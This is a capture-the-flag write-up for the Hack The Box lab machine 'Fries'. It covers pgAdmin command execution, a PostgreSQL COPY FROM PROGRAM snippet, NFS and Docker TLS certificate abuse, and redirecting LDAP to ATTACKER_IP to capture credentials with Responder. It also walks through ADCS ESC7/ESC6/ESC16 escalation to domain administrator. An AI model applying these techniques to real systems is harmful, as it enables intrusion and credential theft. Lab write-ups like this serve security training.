HTB S9 – Fries Write-up
🥡 Foothold
🔎 Virtual Host Enumeration
Start by fuzzing for virtual hosts. This reveals a Gitea instance running on a subdomain.
Inside the repository:
The README references a backend database management site.
Mentions another account: svc@web .
The first two commits contain PostgreSQL credentials.
🗄️ pgAdmin Access
The backend management site runs pgAdmin.
Login using the discovered credentials.
The pgAdmin version is vulnerable to:
CVE-2025-2945
Rapid7 module: exploit/multi/http/pgadmin_query_tool_authenticated
This vulnerability allows authenticated command execution inside the pgAdmin container.
Alternatively, PostgreSQL command execution can be achieved via:
DROP TABLE IF EXISTS cmd_test;
CREATE TABLE cmd_test(output text);
COPY cmd_test FROM PROGRAM 'whoami';
SELECT * FROM cmd_test;
This executes system commands from within PostgreSQL. However, this path is not required
for this box.
Result: Reverse shell in the pgAdmin container.
👤 User 1 – Linux Privilege Escalation
🔐 Extracting Credentials
Inside the pgAdmin container, check environment variables.
You’ll find the password for svc .
Use it to SSH into the host machine.
📁 NFS Enumeration
NFS is running on the target.
Mount the share. You’ll notice:
root 59605603
For the /certs directory.
The trick:
Modify your /etc/passwd
Assign yourself GID 59605603
Start a new shell session for changes to take effect
Why not just modify /etc/group ?
Because the kernel validates group membership differently (see: effective credential handling
behavior in Linux).
If you don’t want to modify /etc/passwd , you can use nfsclient .
🔑 Extract Docker TLS Certificates
Download the certificates from:
/etc/docker/certs/
Docker is running with TLS on:
127.0.0.1:2376
Process confirms:
--authorization-plugin=authz-broker
--tlsverify
Attempting docker commands results in:
authorization denied by plugin authz-broker
🔎 Investigating authz-broker
Check:
/var/lib/authz-broker/policy.json
Defined users:
svc
sysadm
root
But Docker says:
user: 'fries'
Where does fries come from?
👉 The certificate CN (Common Name).
The CN determines the Docker identity.
🧾 Certificate Abuse
Create a CSR with CN:
sysadm OR
root
Sign it using the root CA.
Then execute docker commands using:
--tlsverify
--tlscacert
--tlscert
--tlskey
Now you bypass authz-broker.
🐳 Docker Exploitation
As sysadm:
You can:
docker diff
docker cp
Use these to read:
/config/PwmConfiguration.xml
But this doesn’t give full privilege escalation.
As root:
You can:
Execute commands in containers
Spawn shell in pwm container
Use Docker GTFOBins technique to retrieve user.txt .
⚠️ Unintended Path – NFS Escape
The box:
Uses ext4
Does NOT enable subtree_check
Has root_squash
Using:
nfs_analyze
fuse_nfs
You can:
Escape the NFS share
Obtain arbitrary read/write access
Important detail:
root_squash maps UID 0 → 65534
You cannot read root:root files directly
But you can manipulate /etc/shadow
From there:
Add your own hash
Get root shell
Retrieve flags
You can also copy /bin/bash and abuse SUID bits to escalate.
This path essentially bypasses most of the intended logic.
👤 User 2 – Active Directory Pivot
From PwmConfiguration.xml , extract a hash.
Crack it.
Modify the LDAP address in the XML:
ldap://ATTACKER_IP:389
Upload modified configuration via:
Configuration Manager
Or editor interface
Run Responder.
You’ll capture credentials for:
svc_infra
Alternative decryption methods exist as well.
🩸 BloodHound Enumeration
Run BloodHound.
You’ll find:
svc_infra
→ ReadGMSAPassword
→ gMSA_CA_prod$
Instead of gmsadumper.py , use:
nxc
bloodyAD
Authenticate as:
gMSA_CA_prod$
via WinRM.
👑 Root – ADCS Abuse
Using BloodHound (Community Edition):
svc_infra has control over multiple certificate templates.
Running Certipy reveals:
No direct vulnerable templates
But ESC7 is present
ESC7 allows modification of CA security settings.
Using that:
Enable ESC6
Enable ESC16
Add svc_infra as officer
Restart certificate service
Latest Certify.exe can enable both ESC6 and ESC16.
After enabling:
Follow the attack chain
Request certificate as Administrator
Extract NT hash
Log in
Grab root flag
🎯 Final Thoughts
Intended path appears to be:
1. NFS → read user.txt
2. Docker (sysadm) → extract XML
3. AD pivot
4. ADCS ESC abuse
However, due to NFS misconfiguration, full arbitrary file access makes parts of the intended
chain somewhat redundant.